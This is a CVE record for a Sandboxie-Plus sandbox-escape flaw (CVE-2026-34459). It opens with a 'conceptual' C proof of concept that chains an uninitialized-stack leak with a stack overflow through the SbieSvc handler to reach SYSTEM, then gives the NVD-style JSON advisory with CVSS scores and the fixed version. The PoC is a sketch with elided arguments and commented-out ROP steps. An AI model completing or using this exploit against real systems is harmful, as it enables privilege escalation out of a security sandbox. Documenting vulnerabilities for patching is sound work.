CVE-2026-34459

// Conceptual PoC for CVE-2026-34459 // This demonstrates the logic to trigger the leak and overflow. #include <windows.h> #include <stdio.h> // Simulated IPC interaction structure typedef struct _IPC_REQUEST { ULONG cbSize; PVOID buffer; } IPC_REQUEST, *PIPC_REQUEST; void SimulateExploit() { HANDLE hDevice = CreateFileA("\\\\.\\SbieSvcPort", ...); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to communicate with SbieSvc\n"); return; } BYTE leakedData[0x8000]; DWORD bytesReturned; // Step 1: Trigger Information Leak // Setting cbSize to 0 triggers the uninitialized memory return IPC_REQUEST leakReq; leakReq.cbSize = 0; leakReq.buffer = leakedData; // Send malicious request to leak stack cookies and addresses DeviceIoControl(hDevice, IOCTL_GET_RAW_INPUT_INFO, &leakReq, sizeof(leakReq), leakedData, sizeof(leakedData), &bytesReturned, NULL); printf("[+] Leaked %d bytes from kernel/service stack\n", bytesReturned); // Parse leakedData to find Stack Cookie and Return Address to bypass ASLR/GS // Step 2: Trigger Stack Buffer Overflow // Use the leaked info to craft a ROP chain BYTE exploitBuffer[0x8000]; memset(exploitBuffer, 0x41, sizeof(exploitBuffer)); // Padding // Overwrite Stack Cookie (if not using CET) // memcpy(exploitBuffer + offset, &leakedCookie, sizeof(void*)); // Overwrite Return Address with ROP gadget // memcpy(exploitBuffer + retOffset, &ropChainAddress, sizeof(void*)); IPC_REQUEST overflowReq; overflowReq.cbSize = 0xFFFFFFFF; // Attacker-controlled length causing overflow overflowReq.buffer = exploitBuffer; // Send overflow request DeviceIoControl(hDevice, IOCTL_GET_RAW_INPUT_INFO, &overflowReq, sizeof(overflowReq), NULL, 0, NULL, NULL); printf("[+] Exploit sent. Attempting privilege escalation...\n"); CloseHandle(hDevice); }

{"cve": {"id": "CVE-2026-34459", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:37.317", "lastModified": "2026-05-07T19:48:32.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandboxie-Plus is an open source sandbox-based isolation software for Windows. In versions 1.17.2 and earlier, the SbieSvc proxy service's GetRawInputDeviceInfoSlave handler contains two vulnerabilities that can be chained for sandbox escape. First, when a sandboxed process sends an IPC request with cbSize set to 0, up to 32KB of uninitialized stack memory from the service process is returned, leaking return addresses and stack cookies which bypass ASLR and /GS protections. Second, the handler performs a memcpy with an attacker-controlled length without verifying it fits within the 32KB stack buffer, enabling a stack buffer overflow. By chaining the information leak with the overflow, a sandboxed process can execute a ROP chain to achieve SYSTEM privilege escalation, even from a Security Hardened Sandbox. Hardware-enforced shadow stacks (Intel CET) prevent the ROP chain execution but do not mitigate the information leak. This issue has been fixed in version 1.17.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sandboxie-plus:sandboxie:*:*:*:*:plus:*:*:*", "versionEndExcluding": "1.17.3", "matchCriteriaId": "69CB00B4-502D-4839-B404-93FA214C6978"}]}]}], "references": [{"url": "https://github.com/sandboxie-plus/Sandboxie/security/advisories/GHSA-7cpc-5hv7-rfmh", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/sandboxie-plus/Sandboxie/security/advisories/GHSA-7cpc-5hv7-rfmh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}